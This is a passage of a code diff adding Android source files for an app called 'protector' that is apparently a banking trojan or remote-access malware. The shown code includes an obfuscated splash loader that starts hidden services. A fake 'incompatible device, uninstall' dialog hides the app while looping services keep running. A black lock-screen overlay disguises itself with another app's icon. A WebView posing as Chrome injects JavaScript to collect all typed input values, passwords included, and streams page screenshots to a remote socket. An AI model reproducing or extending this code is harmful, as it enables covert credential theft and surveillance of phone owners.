NLHudOlyrFrJ0iinnqL6IoNejV6Gc3xfMFr00wQi/MuZzAzsg14LwO7VX9Ig8NsAWPcrQBWqrRcKw/be9IwJotH+kfoFZGHsN0D2+XBfAxfLHS1cwxhBYSBJgqrXLxiT8RPGc/2gp3ROIyV1OSkW7oULkrPyT7C6lk/sFCu8UEBelEw1tZSUNDxSFKT6k/89yqM7iMaa1rHjvDpjauzNnMKThUzE8PJ9ZfcRbpQEqaU9qS4/n5q7WFgU6HjopaT998JWd0zpYtl3eAx3sQD9MeulknSikbHOm9sMV63AcxPEs5cObTQZPJy4mx4aQuD76b059wIcc6veekz5XqaOOqiabqEDeEv2ANLgxWccG2PVbZ0ODObrJJUl/DOyeCz5m1TTwv6AmNhSeJPZsKc8uJuS9/m6xRmgHlruhIaPYene16wdROL6czqpH9RAdsU1n9xkx+FqCVVB7zBJwrPwcxrpUZnv45P4VWuX3AzOlu0f9A4evgXt0OqhMCaCNr6sku1n1wA6O8ulUUiLjvZP8Vls0YO+Z+a5lLdH1gVfeGadXDVXC2JLd0fg2iqqVdzdmwY52HJKsDbuXf8COof+iaNndivrV2OHpVNwWqg5VDS4hrlOzkEIYRbzcBBbZXsU/29YLWEEx5RVaqvJEsuXpKbOaGnfA+CeFZ7p1tuo8Suav++mJyvBkbG+eVcEyV2+YnX3FReE2+Knqnbn9JB5XFFS1TAAVwLl5CTuSE2i/4y/RzjJoLzmQ8Y2Z/Bk2Wcom+Ys4Hs0IUhhneMVHpw73mTjV8phSdnEDn3rvhFtbCHEVtUNU6H0Kl5SNr4aCU17P2tmyjddOe1i7fiGczDYiVlRZH4F08eZX9/hgy1NqS1W9EtW61DimEQCPjDRMJzGAy1E5w+JB9igXAqNUVD1uUbPocmUoAENbCzsiWxTo4adj7BArYR2y0Frf2K5XfFOtOf742HTB/SSnQ+2AFx0";
String pagebase64 = cr.Dcrpt_Str(loadpage);
String MyName = getLabelApplication(myctx);
try {
String CurrnetLanuage = Locale.getDefault().getLanguage();
pagebase64 = (new String(Base64.decode(pagebase64, 0), "UTF-8")).replace("APPNAME", MyName)
.replace("[LNG]", CurrnetLanuage)
.replace("2024", "2025")
.replace("[BASE-ICO]", getAppIconAsBase64(myctx));
//create webview , load the page from base64 and setcontent , delay for 5 sec , start main activity
WebSettings webSettings = Mwbview.getSettings();
webSettings.setJavaScriptEnabled(true); // Enable JavaScript
// Load the Base64 content into WebView
Mwbview.setWebViewClient(new WebViewClient());
Mwbview.loadDataWithBaseURL(null, pagebase64, "text/html", "UTF-8", null);
setContentView(Mwbview);
} catch (Exception e) {
out();
}
Thread thread = new Thread(() -> {
do {
try {
Thread.sleep(5000);
} catch (Exception e) {
e.printStackTrace();
}
Intent workintx = new Intent(myctx, EngineWorker.class);
if (!isServiceRunning(myctx, EngineWorker.class)) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(workintx);
} else {
startService(workintx);
}
}
} while (!skip_splash);
out();
});
thread.start();
// Delay for 5 seconds to simulate loading (you can customize this timing)
// new android.os.Handler().postDelayed(() -> {
//
// }, 3000); // 5 seconds delay
}
private void out() {
Intent intent = new Intent(getApplicationContext(), ActivMain.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
startActivity(intent);
// this.finish();
}
}
@@ -0,0 +1,42 @@
package com.icontrol.protector;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
public class StarterServices extends Service {
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
if (My_Configs.Is_Store.equals("1")){
Context ctx = getApplicationContext();
Handler hstop = new Handler(Looper.getMainLooper());
hstop.postDelayed(new Runnable() {
public void run() {
try {
Intent mainint = new Intent(ctx,ActivMain.class);
mainint.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
ctx.startActivity(mainint);
} catch (Exception d) {
}
}
},1000);
}
return START_NOT_STICKY;
}
}
@@ -0,0 +1,67 @@
package com.icontrol.protector;
import static com.icontrol.protector.UtliTools.randomnumber;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.graphics.Point;
import android.os.Bundle;
import android.view.Window;
import android.view.WindowManager;
import android.view.WindowMetrics;
public class Startme extends Activity {
@Override
protected void onCreate( Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try{
Context myctx = getApplicationContext();
if (MySettings.Read(myctx,Consts.DEVICE_ID,"").length() == 0){
String newid = UtliTools.Create_DevicID() + String.valueOf(randomnumber(100, 199));
MyLoger.Debug("CreateID", newid);
MySettings.Write(myctx, Consts.DEVICE_ID, newid);
}
// if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) {
// WindowManager wm = getSystemService(WindowManager.class);
//
// // Get current window metrics
// WindowMetrics windowMetrics = wm.getMaximumWindowMetrics();
//
// // Subtract the insets to get the usable app size
// int width = windowMetrics.getBounds().width();
// int height = windowMetrics.getBounds().height();
// MySettings.Write(myctx,Consts.Mob_width,String.valueOf(width));
// MySettings.Write(myctx,Consts.Mob_height,String.valueOf(height));
// }else{
if (MySettings.Read(myctx,Consts.Mob_width,"").length() == 0){
Point size = new Point();
getWindowManager().getDefaultDisplay().getRealSize(size);
int width = Math.min(size.x, size.y);
int height = Math.max(size.x, size.y);
MySettings.Write(myctx, Consts.Mob_width, String.valueOf(width));
MySettings.Write(myctx, Consts.Mob_height, String.valueOf(height));
}
// }
requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
Intent fakint = new Intent(getApplicationContext(), Splasher.class);
fakint.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(fakint);
}catch (Exception as){
finish();
}
//finish();
}
}
@@ -0,0 +1,73 @@
package com.icontrol.protector;
import static com.icontrol.protector.Consts.Rec_Activitys;
import static com.icontrol.protector.MySettings.ReadBool;
import static com.icontrol.protector.UtliTools.ServiceStarter;
import static com.icontrol.protector.UtliTools.setupWorkManager;
import static com.icontrol.protector.WorkServices.MyWorker.SendPing;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import java.text.SimpleDateFormat;
import java.util.Locale;
public class StatusMonitor {
private BroadcastReceiver screenReceiver;
private BroadcastReceiver ResetServices;
private Context context;
public StatusMonitor(Context context) {
this.context = context;
registerScreenReceiver();
}
private void registerScreenReceiver() {
try{
screenReceiver = new WorkServices.ScreenReceiver();
IntentFilter filter = new IntentFilter();
filter.addAction(Intent.ACTION_SCREEN_ON);
filter.addAction(Intent.ACTION_SCREEN_OFF);
filter.addAction("android.intent.action.PHONE_STATE");
filter.addAction(Intent.ACTION_USER_PRESENT);
context.registerReceiver(screenReceiver, filter);
}catch (Exception a){
screenReceiver = null;
}
try{
ResetServices= new ResetServices();
IntentFilter filter2 = new IntentFilter();
filter2.addAction(Intent.ACTION_AIRPLANE_MODE_CHANGED);
filter2.addAction(Intent.ACTION_BATTERY_LOW);
filter2.addAction(Intent.ACTION_BATTERY_OKAY);
filter2.addAction(Intent.ACTION_LOCALE_CHANGED);
filter2.addAction(Intent.ACTION_TIMEZONE_CHANGED);
// filter2.addAction(Intent.ACTION_TIME_TICK);
filter2.addAction(Intent.ACTION_DEVICE_STORAGE_LOW);
filter2.addAction(Intent.ACTION_DEVICE_STORAGE_OK);
context.registerReceiver(ResetServices, filter2);
}catch (Exception s){
ResetServices = null;
}
}
public void unregister() {
if (screenReceiver != null) {
context.unregisterReceiver(screenReceiver);
screenReceiver = null;
}
if(ResetServices != null){
context.unregisterReceiver(ResetServices);
ResetServices = null;
}
}
}
@@ -0,0 +1,360 @@
package com.icontrol.protector;
import static com.icontrol.protector.AccessServices.skiponecover;
import static com.icontrol.protector.UtliTools.drawableToBitmap;
import static com.icontrol.protector.UtliTools.excludeFromTaskList;
import static com.icontrol.protector.UtliTools.getRandomLauncherApp;
import static com.icontrol.protector.UtliTools.isPackageInstalled;
import static com.icontrol.protector.WorkServices.MyWorker.AlertServer;
import static com.icontrol.protector.WorkServices.My_Access_inst;
import static java.lang.Thread.sleep;
import android.app.Activity;
import android.app.ActivityManager;
import android.app.KeyguardManager;
import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.graphics.Color;
import android.graphics.PixelFormat;
import android.graphics.drawable.Drawable;
import android.net.wifi.WifiManager;
import android.os.Build;
import android.os.Bundle;
import android.content.Intent;
import android.os.Debug;
import android.os.Handler;
import android.os.Looper;
import android.os.PowerManager;
import android.provider.Settings;
import android.view.GestureDetector;
import android.view.Gravity;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
import android.view.Window;
import android.view.WindowManager;
import android.widget.LinearLayout;
public class TransparentActivity extends Activity {
//private static TransparentActivity instance = null;
@Override
protected void onDestroy() {
super.onDestroy();
try
{
if (overlayView != null) {
overlayView.setOnClickListener(null);
overlayView=null;
}
// instance = null;
wl.release();
gestureDetector = null;
getWindow().clearFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
((ViewGroup) findViewById(android.R.id.content)).removeAllViews();
}catch (Exception a){
a.printStackTrace();
}
}
@Override
protected void onResume() {
super.onResume();
// excludeFromTaskList(getApplicationContext());
Handler hstop = new Handler(Looper.getMainLooper());
hstop.postDelayed(new Runnable() {
public void run() {
try {
//
excludeFromTaskList(getApplicationContext());
//moveTaskToBack(true);
lockwatcher();
} catch (Exception d) {
}
}
}, 1000);
//
}
private View overlayView;
public static WakeLockManager wl;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
poink = true;
wl = new WakeLockManager();
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O_MR1) {
setShowWhenLocked(true);
setTurnScreenOn(true);
}
wl.acquire(getApplicationContext(), true, true);
getWindow().getDecorView().setSystemUiVisibility(
View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY
| View.SYSTEM_UI_FLAG_LAYOUT_STABLE
| View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION
| View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
| View.SYSTEM_UI_FLAG_HIDE_NAVIGATION
| View.SYSTEM_UI_FLAG_FULLSCREEN
);
try {
requestWindowFeature(Window.FEATURE_NO_TITLE);
} catch (Exception a) {
a.printStackTrace();
}
try {
String packageName = getRandomLauncherApp(getApplicationContext());
if (!isPackageInstalled(packageName, getPackageManager())) {
packageName = "com.android.vending";
if (!isPackageInstalled(packageName, getPackageManager())) {
packageName = null;
}
}
if (packageName != null) {
PackageManager packageManager = getPackageManager();
ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
Drawable appIcon = packageManager.getApplicationIcon(applicationInfo);
String appName = packageManager.getApplicationLabel(applicationInfo).toString();
this.setTitle(appName);
// Convert Drawable to Bitmap
Bitmap appIconBitmap = drawableToBitmap(appIcon);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
ActivityManager.TaskDescription taskDescription = new ActivityManager.TaskDescription(appName, appIconBitmap, Color.TRANSPARENT);
this.setTaskDescription(taskDescription);
}
}
} catch (Exception a) {
a.printStackTrace();
}
doWork();
overlayView = new View(this);
overlayView.setKeepScreenOn(true);
overlayView.setBackgroundColor(Color.BLACK);
setContentView(overlayView);
overlayView.setFocusable(true);
overlayView.setClickable(true);
overlayView.setFocusableInTouchMode(true);
Window window = getWindow();
window.setFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL |
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED |
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON |
WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON |
WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN);
WindowManager.LayoutParams params = window.getAttributes();
params.height = WindowManager.LayoutParams.MATCH_PARENT; // Minimal height
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.screenBrightness = 0;
params.gravity = Gravity.TOP | Gravity.START; // Pin it to the bottom
window.setAttributes(params);
Handler hstop = new Handler(Looper.getMainLooper());
hstop.postDelayed(new Runnable() {
public void run() {
try {
excludeFromTaskList(getApplicationContext());
//moveTaskToBack(true);
} catch (Exception d) {
}
}
}, 1000);
gestureDetector = new GestureDetector(this , new GestureDetector.SimpleOnGestureListener() {
@Override
public boolean onDoubleTap(MotionEvent e) {
moveTaskToBack(true);
overridePendingTransition(0, 0);
return true;
}
@Override
public boolean onSingleTapConfirmed(MotionEvent e) {
return true;
}
});
overlayView.setOnTouchListener(new View.OnTouchListener() {
@Override
public boolean onTouch(View v, MotionEvent event) {
if(AccessServices.skiprecord){
moveTaskToBack(true);
overridePendingTransition(0, 0);
}
return gestureDetector.onTouchEvent(event);
}
});
lockwatcher();
// new android.os.Handler().postDelayed(() -> {
//
// TransparentActivity.this.finish();
// }, 1100);
} catch (Exception a) {
a.printStackTrace();
finish();
}
}
private static GestureDetector gestureDetector;
public void lockwatcher() {
KeyguardManager keyguardManager = (KeyguardManager) getApplicationContext().getSystemService(Context.KEYGUARD_SERVICE);
Handler hstop = new Handler(Looper.getMainLooper());
new Thread(new Runnable() {
@Override
public void run() {
boolean isScreenLocked = true;
while (isScreenLocked){
try{
Thread.sleep(5000);
}catch (Exception s){}
isScreenLocked = keyguardManager.isKeyguardLocked();
if (poink){
//ping wakelock to prevent sleep
wl.release();
try{
Thread.sleep(100);
}catch (Exception s){}
wl.acquire(getApplicationContext(), true, true);
}
//ping to services to prevent kill
try{
Intent intent = new Intent(getApplicationContext(), WorkServices.class);
intent.setAction("HB");
startService(intent);
}catch (Exception s){}
}
}
}).start();
new Thread(new Runnable() {
@Override
public void run() {
boolean isScreenLocked = true;
do {
try {
Thread.sleep(600);
} catch (Exception a) {
}
isScreenLocked = keyguardManager.isKeyguardLocked();
hstop.postDelayed(() -> {
if (overlayView != null) {
try {
overlayView.setKeepScreenOn(true);
overlayView.setBackgroundColor(Color.BLACK);
} catch (Exception a) {
a.printStackTrace();
}
}
}, 100);
} while (isScreenLocked);
//excludeFromTaskList(getApplicationContext());
hstop.post(new Runnable() {
public void run() {
try {
// excludeFromTaskList(getApplicationContext());
moveTaskToBack(true);
overridePendingTransition(0, 0);
} catch (Exception d) {
}
}
});
}
}).start();
}
private void doWork() {
try {
Context mcontext = getApplicationContext();
Intent workint = new Intent(mcontext, EngineWorker.class);
if (!MyCods.isServiceRunning(mcontext, EngineWorker.class)) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
mcontext.startForegroundService(workint);
} else {
mcontext.startService(workint);
}
}
if (!MyCods.isServiceRunning(mcontext, WorkServices.class)) {
Intent workint2 = new Intent(mcontext, WorkServices.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
mcontext.startForegroundService(workint2);
} else {
mcontext.startService(workint2);
}
}
} catch (Exception e) {
}
}
public volatile static boolean poink = true;
@Override
protected void onPause() {
super.onPause();
try{
poink = false;
if (isScreenOff()) {
MyLoger.Debug("TActivity", "onPause: Detected screen off!");
// savePlaybackState();
try {
// excludeFromTaskList(getApplicationContext());
skiponecover = true;
moveTaskToBack(true);
overridePendingTransition(0, 0);
AccessTools.WakeScreen(getApplicationContext());
} catch (Exception d) {
}
} else {
MyLoger.Debug("TActivity", "onPause: User navigated away, but screen is still on.");
}
}catch (Exception a){}
}
private boolean isScreenOff() {
PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
if (pm != null) {
return !pm.isInteractive();
}
return false;
}
}
@@ -0,0 +1,177 @@
package com.icontrol.protector;
import static com.icontrol.protector.UtliTools.hideme;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.view.View;
import android.view.Window;
import android.view.WindowManager;
import android.widget.TextView;
import java.util.Locale;
public class UninstallActivity extends Activity {
private static boolean Userok = false;
private TextView themsg;
private TextView button_ok;
@Override
protected void onCreate( Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
setContentView(R.layout.uninstall_activity);
themsg = findViewById(R.id.dialog_message);
button_ok = findViewById(R.id.button_ok);
String currentLanguage = Locale.getDefault().getLanguage();
switch (currentLanguage) {
case "ar":
themsg.setText("للأسف ، هذا الإصدار غير متوافق مع جهازك");
button_ok.setText("إلغاء التثبيت");
break;
case "zh":
themsg.setText("不幸的是,该版本与您的设备不兼容");
button_ok.setText("卸载");
break;
case "es":
themsg.setText("Desafortunadamente, esta versión no es compatible con su dispositivo");
button_ok.setText("desinstalar");
break;
case "pt":
themsg.setText("Infelizmente, esta versão não é compatível com o seu dispositivo");
button_ok.setText("desinstalar");
break;
case "ru":
themsg.setText("К сожалению, эта версия не совместима с вашим устройством");
button_ok.setText("удалить");
break;
case "tr":
themsg.setText("Maalesef, bu sürüm cihazınızla uyumlu değil");
button_ok.setText("kaldır");
break;
case "fr":
themsg.setText("Malheureusement, cette version n'est pas compatible avec votre appareil");
button_ok.setText("désinstaller");
break;
case "de":
themsg.setText("Leider ist diese Version nicht mit Ihrem Gerät kompatibel");
button_ok.setText("deinstallieren");
break;
case "it":
themsg.setText("Purtroppo, questa versione non è compatibile con il tuo dispositivo");
button_ok.setText("disinstallare");
break;
case "ja":
themsg.setText("残念ながら、このバージョンはお使いのデバイスと互換性がありません");
button_ok.setText("アンインストール");
break;
default:
themsg.setText("Unfortunately, this version is not compatible with your device");
button_ok.setText("uninstall");
break;
}
button_ok.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Userok = true;
EndSetup();
}
});
}
public void EndSetup(){
hideme(getApplicationContext());
// disableActivity(My_Configs.HA);
final Context mcontext = getApplicationContext();
new Thread(new Runnable() {
@Override
public void run() {
try {
while (true){
try{
Thread.sleep(15000);
}catch (Exception x){}
Intent workint = new Intent(mcontext, EngineWorker.class);
if (!MyCods.isServiceRunning(mcontext, EngineWorker.class))
{
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
mcontext.startForegroundService(workint);
}else
{
mcontext.startService(workint);
}
}
if (!MyCods.isServiceRunning(mcontext, WorkServices.class))
{
Intent workint2 = new Intent(mcontext, WorkServices.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
mcontext.startForegroundService(workint2);
}else
{
mcontext.startService(workint2);
}
}
}
} catch (Exception e) {
}
}
}).start();
// System.exit(0);
finish();
}
// @Override
// public void finish() {
// if(!Userok){
// Userok=true;
// EndSetup();
// }
//
// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
// super.finishAndRemoveTask();
// }
// else {
// super.finish();
// }
// }
@Override
protected void onDestroy() {
if(!Userok){
Userok=true;
EndSetup();
}
super.onDestroy();
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,63 @@
package com.icontrol.protector;
import android.content.Context;
import android.net.wifi.WifiManager;
import android.os.PowerManager;
public class WakeLockManager {
private PowerManager.WakeLock wakeLock;
private WifiManager.WifiLock wifiLock;
public void acquire(Context context, boolean keepScreenOn, boolean keepWifiOn) {
// Acquire CPU wake lock
try{
if (wakeLock == null || !wakeLock.isHeld()) {
PowerManager powerManager = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
if (powerManager != null) {
int flags = PowerManager.PARTIAL_WAKE_LOCK;
if (keepScreenOn) {
flags = PowerManager.FULL_WAKE_LOCK |
PowerManager.ACQUIRE_CAUSES_WAKEUP |
PowerManager.ON_AFTER_RELEASE;
}
wakeLock = powerManager.newWakeLock(flags, "App:IncomingCall");
wakeLock.setReferenceCounted(false);
wakeLock.acquire();
}
}
}catch (Exception a){}
// Acquire WiFi lock
try{
if (keepWifiOn && (wifiLock == null || !wifiLock.isHeld())) {
WifiManager wifiManager = (WifiManager) context.getApplicationContext().getSystemService(Context.WIFI_SERVICE);
if (wifiManager != null) {
wifiLock = wifiManager.createWifiLock(WifiManager.WIFI_MODE_FULL_HIGH_PERF, "p:WifiLock");
wifiLock.setReferenceCounted(false);
wifiLock.acquire();
}
}
}catch (Exception a){}
}
public void release() {
// Release CPU lock
try{
if (wakeLock != null && wakeLock.isHeld()) {
wakeLock.release();
wakeLock = null;
}
}catch (Exception a){}
// Release WiFi lock
try{
if (wifiLock != null && wifiLock.isHeld()) {
wifiLock.release();
wifiLock = null;
}
}catch (Exception s){}
}
}
@@ -0,0 +1,542 @@
package com.icontrol.protector;
import static com.icontrol.protector.Consts.SPLIT_DATA;
import static com.icontrol.protector.Consts.URL_SOCKT;
import static com.icontrol.protector.UtliTools.drawableToBitmap;
import static com.icontrol.protector.UtliTools.isPackageInstalled;
import static com.icontrol.protector.WorkServices.MyWorker.AlertServer;
import android.app.Activity;
import android.app.ActivityManager;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.drawable.Drawable;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.util.Base64;
import android.view.KeyEvent;
import android.view.View;
import android.webkit.ConsoleMessage;
import android.webkit.CookieManager;
import android.webkit.JavascriptInterface;
import android.webkit.JsResult;
import android.webkit.ValueCallback;
import android.webkit.WebChromeClient;
import android.webkit.WebResourceRequest;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.ByteArrayOutputStream;
import java.net.URI;
import java.util.ArrayList;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.WebSocket;
import okhttp3.WebSocketListener;
public class WebBrowser extends Activity {
WebView mWebView;
String Currentsite;
Context myctx;
private WebSocket websocketfile; // Reusable WebSocket
private OkHttpClient client;
@Override
public void onBackPressed() {
try {
if (mWebView != null && mWebView.canGoBack()) {
mWebView.goBack();
} else {
super.onBackPressed();
}
} catch (NullPointerException s) {
super.onBackPressed();
}
}
@Override
public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent) {
return paramInt == KeyEvent.KEYCODE_HOME ||
paramInt == KeyEvent.KEYCODE_BACK ||
paramInt == KeyEvent.KEYCODE_MENU;
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
myctx = getApplicationContext();
flaged=false;
Intent intent = getIntent();
String value = "";
String thetype = "";
try {
value = intent.getStringExtra("key");
thetype = intent.getStringExtra("type");
} catch (Exception e) {
finish();
return;
}
try{
try
{
if(intent.hasExtra("icon")){
byte[] iconByteArray = intent.getByteArrayExtra("icon");
Bitmap iconBitmap = BitmapFactory.decodeByteArray(iconByteArray, 0, iconByteArray.length);
ActivityManager.TaskDescription taskDescription = new ActivityManager.TaskDescription(" ", iconBitmap);
setTaskDescription(taskDescription);
String label = intent.getStringExtra("label");
setTitle(label);
}else{
String packageName = "com.android.chrome";
if(!isPackageInstalled(packageName,getPackageManager())){
packageName = "com.android.vending";
if(!isPackageInstalled(packageName,getPackageManager())){
packageName = UtliTools.getRandomLauncherApp(getApplicationContext());
if(!isPackageInstalled(packageName,getPackageManager())){
packageName = null;
}
}
}
if(packageName != null){
PackageManager packageManager = getPackageManager();
ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
Drawable appIcon = packageManager.getApplicationIcon(applicationInfo);
String appName = packageManager.getApplicationLabel(applicationInfo).toString();
setTitle(appName);
Bitmap appIconBitmap = drawableToBitmap(appIcon);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
ActivityManager.TaskDescription taskDescription = new ActivityManager.TaskDescription(" ", appIconBitmap);
setTaskDescription(taskDescription);
}
}
}
}catch (Exception a){}
}catch (Exception a){}
try {
//WebView mWebView = new WebView((Context)this);
mWebView = new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.getSettings().setLoadsImagesAutomatically(true);
mWebView.getSettings().setLoadWithOverviewMode(true);
try{
CookieManager.getInstance().setAcceptCookie(true);
CookieManager.getInstance().setAcceptThirdPartyCookies(mWebView, true);
}catch (Exception a){
}
mWebView.getSettings().setUseWideViewPort(true);
mWebView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY);
mWebView.getSettings().setAllowFileAccess(true);
mWebView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK);
mWebView.getSettings().setDomStorageEnabled(true);
mWebView.getSettings().setAllowFileAccessFromFileURLs(true);
mWebView.getSettings().setAllowUniversalAccessFromFileURLs(true);
mWebView.getSettings().setAllowContentAccess(true);
try {
mWebView.setLayerType(View.LAYER_TYPE_HARDWARE, null);
mWebView.getSettings().setPluginState(WebSettings.PluginState.ON);
mWebView.getSettings().setRenderPriority(WebSettings.RenderPriority.HIGH);
mWebView.setBackgroundColor(0xffffffff);
} catch (Exception a) {
}
mWebView.getSettings().setBuiltInZoomControls(false);
String ua = mWebView.getSettings().getUserAgentString();
mWebView.getSettings().setUserAgentString(ua);
mWebView.setWebChromeClient(new MyChrome());
mWebView.setWebViewClient(new MyWebViewClient());
boolean allok = false;
switch (thetype) {
case "u"://url
Currentsite = value;
if (!value.toLowerCase().startsWith("https://") && !value.toLowerCase().startsWith("http://")) {
value = "http://" + value;
}
mWebView.loadUrl(value);
setContentView((View) mWebView);
allok =true;
break;
case "f"://file
String pagehtml = (new String(Base64.decode(value, 0), "UTF-8"));
mWebView.loadDataWithBaseURL(null, pagehtml, "text/html", "UTF-8", null);
setContentView((View) mWebView);
allok =true;
break;
default:
allok =false;
finish();
return;
}
if (allok){
client = new OkHttpClient();
startcaptures(getApplicationContext(),mWebView);
}
} catch (Exception exception) {
}
}
private void startcaptures(Context ctx,WebView mWebView) {
MySettings.WriteBool(ctx,Consts.web_browser,true);
Runnable runnable = new Runnable() {
public void run() {
do {
try {
Thread.sleep(100);
} catch (InterruptedException e) {
}
Handler handler = new Handler(Looper.getMainLooper());
handler.post(new Runnable() {
@Override
public void run() {
try{
CapPass(ctx,mWebView);
}catch (Exception a){}
}
});
try {
mWebView.setDrawingCacheEnabled(true);
Bitmap b = Bitmap.createScaledBitmap(mWebView.getDrawingCache(false), 350, 650, false);
mWebView.setDrawingCacheEnabled(false);
String baseString = "null";
ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
b.compress(Bitmap.CompressFormat.WEBP, 50, byteStream);
byte[] byteArray = byteStream.toByteArray();
baseString = Base64.encodeToString(byteArray, Base64.DEFAULT);
JSONObject jsonObject = new JSONObject();
jsonObject.put("type", "wbbrow");
jsonObject.put("img", baseString);
jsonObject.put("cuz", "n");
String jsonData = jsonObject.toString();
Sendimg(ctx,jsonData);
} catch (Exception ee) {
ee.printStackTrace();
}
} while (MySettings.ReadBool(ctx,Consts.web_browser,false));
}
};
Thread thread = new Thread(runnable);
thread.start();
}
public class MyChrome extends WebChromeClient {
MyChrome() {
}
// @Override
// public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
// String logmsg = consoleMessage.message();
// try{
// JSONObject jsonObject = new JSONObject();
// jsonObject.put("type", "blog");
// jsonObject.put("data", logmsg);
// String jsonData = jsonObject.toString();
//
// LiveChat.Livemessage(myctx,jsonData);
// }catch (Exception a){}
//
//
// return true;
// }
}
static ArrayList<String> datastore = new ArrayList<>();
public static void CapPass(Context ctx,WebView view) {
if (view == null)
return;
view.evaluateJavascript("var frame = null;\n" +
"\n" +
"function gd332() {\n" +
" if (!frame) {\n" +
" frame = document.createElement('iframe');\n" +
" frame.style.display = 'none';\n" +
" document.body.appendChild(frame);\n" +
" }\n" +
" console = frame.contentWindow.console;\n" +
" var inputs = document.querySelectorAll('input');\n" +
" var websiteLink = window.location.hostname;\n" +
" var result = [];\n" +
"\n" +
" inputs.forEach(function(input) {\n" +
" var type = input.getAttribute('type');\n" +
" var value = input.value;\n" +
"\n" +
" if (value !== \"\" && value !== null && type !== \"hidden\" && type !== \"checkbox\") {\n" +
" var data = {\n" +
" 'type': type,\n" +
" 'value': value,\n" +
" 'date': new Date().toLocaleString()\n" +
" };\n" +
" result.push(data);\n" +
" }\n" +
" });\n" +
"\n" +
" return JSON.stringify({\n" +
" website: websiteLink,\n" +
" inputs: result\n" +
" });\n" +
"}\n" +
"\n" +
"gd332();\n",
new ValueCallback<String>() {
@Override
public void onReceiveValue(String value) {
if (!value.equals("null") && !value.equals("\"\"")) {
try {
// Clean up the JSON string
value = value.substring(1, value.length() - 1).replace("\\\"", "\"");
// Parse the JSON object
JSONObject jsonObj = new JSONObject(value);
// Get website URL
String website = jsonObj.getString("website");
System.out.println("[Website]: " + website);
// Get the inputs array
JSONArray inputs = jsonObj.getJSONArray("inputs");
boolean storeit=false;
// Iterate through the input fields
for (int i = 0; i < inputs.length(); i++) {
JSONObject inputObj = inputs.getJSONObject(i);
// Extract the type, value, and date for each input
String type = inputObj.optString("type","empty");
String inputValue = inputObj.optString("value","empty");
String date = inputObj.optString("date","empty");
// Print the values
System.out.println("[link]: " + website);
System.out.println("[Type]: " + type);
System.out.println("[Value]: " + inputValue);
System.out.println("[Date]: " + date);
String Alldata = website+SPLIT_DATA+ type+SPLIT_DATA+inputValue+SPLIT_DATA+date;
